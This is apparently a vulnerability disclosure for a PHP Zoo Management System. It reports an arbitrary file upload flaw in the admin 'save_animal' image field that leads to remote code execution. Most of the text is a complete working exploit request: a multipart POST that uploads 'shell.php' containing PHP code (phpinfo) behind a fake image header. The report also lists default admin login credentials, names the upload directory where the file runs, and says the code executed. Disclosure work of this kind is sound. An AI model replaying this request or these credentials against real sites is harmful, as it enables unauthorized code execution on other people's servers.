BUG_Author: Tmoont
Admind login account: admin@mail.com/Password@123
vendor: https://www.sourcecodester.com/php/15347/zoo-management-system-source-code-php-mysql-database.html
Vulnerability url: http://ip/ZooManagementSystem/admin/public_html/save_animal
Loophole location：There is an arbitrary file upload vulnerability (RCE) in the picture upload point of the "save_animal" file of the "Animals" module in the background management system
Request package for file upload：
POST /ZooManagementSystem/admin/public_html/save_animal HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.19/ZooManagementSystem/admin/public_html/save_animal
Cookie: PHPSESSID=5d10vq7lgptbau7foskstiug7i
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------128553042714535
Content-Length: 4000
-----------------------------128553042714535
Content-Disposition: form-data; name="animal_id"
-----------------------------128553042714535
Content-Disposition: form-data; name="an_given_name"
1
-----------------------------128553042714535
Content-Disposition: form-data; name="an_species_name"
1
-----------------------------128553042714535
Content-Disposition: form-data; name="an_dob"
1
-----------------------------128553042714535
Content-Disposition: form-data; name="an_gender"
m
-----------------------------128553042714535
Content-Disposition: form-data; name="an_avg_lifespan"
11
-----------------------------128553042714535
Content-Disposition: form-data; name="class_id"
1
-----------------------------128553042714535
Content-Disposition: form-data; name="location_id"
1
-----------------------------128553042714535
Content-Disposition: form-data; name="an_dietary_req"
11
-----------------------------128553042714535
Content-Disposition: form-data; name="an_natural_habitat"
11
-----------------------------128553042714535
Content-Disposition: form-data; name="an_pop_dist"
1
-----------------------------128553042714535
Content-Disposition: form-data; name="an_joindate"
1
-----------------------------128553042714535
Content-Disposition: form-data; name="an_height"
1
-----------------------------128553042714535
Content-Disposition: form-data; name="an_weight"
1
-----------------------------128553042714535
Content-Disposition: form-data; name="an_description"
11
-----------------------------128553042714535
Content-Disposition: form-data; name="images[]"; filename="shell.php"
Content-Type: application/octet-stream
JFJF
<?php phpinfo();?>
-----------------------------128553042714535
Content-Disposition: form-data; name="an_med_record"
11
-----------------------------128553042714535
Content-Disposition: form-data; name="an_transfer"
11
-----------------------------128553042714535
Content-Disposition: form-data; name="an_transfer_reason"
11
-----------------------------128553042714535
Content-Disposition: form-data; name="an_death_date"
11
-----------------------------128553042714535
Content-Disposition: form-data; name="an_death_cause"
11
-----------------------------128553042714535
Content-Disposition: form-data; name="an_incineration"
11
-----------------------------128553042714535
Content-Disposition: form-data; name="m_gest_period"
11
-----------------------------128553042714535
Content-Disposition: form-data; name="m_category"
11
-----------------------------128553042714535
Content-Disposition: form-data; name="m_avg_body_temp"
11
-----------------------------128553042714535
Content-Disposition: form-data; name="b_nest_const"
11
-----------------------------128553042714535
Content-Disposition: form-data; name="b_clutch_size"
11
-----------------------------128553042714535
Content-Disposition: form-data; name="b_wingspan"
11
-----------------------------128553042714535
Content-Disposition: form-data; name="b_ability_fly"
yes
-----------------------------128553042714535
Content-Disposition: form-data; name="b_color_variant"
11
-----------------------------128553042714535
Content-Disposition: form-data; name="f_body_temp"
11
-----------------------------128553042714535
Content-Disposition: form-data; name="f_water_type"
11
-----------------------------128553042714535
Content-Disposition: form-data; name="f_color_variant"
1
-----------------------------128553042714535
Content-Disposition: form-data; name="rep_type"
11
-----------------------------128553042714535
Content-Disposition: form-data; name="clutch_size"
11
-----------------------------128553042714535
Content-Disposition: form-data; name="num_offspring"
11
-----------------------------128553042714535
Content-Disposition: form-data; name="submit"
-----------------------------128553042714535--The files will be uploaded to this directory \ZooManagementSystem\img\animals
We visited the directory of the file in the browser and found that the code had been executed
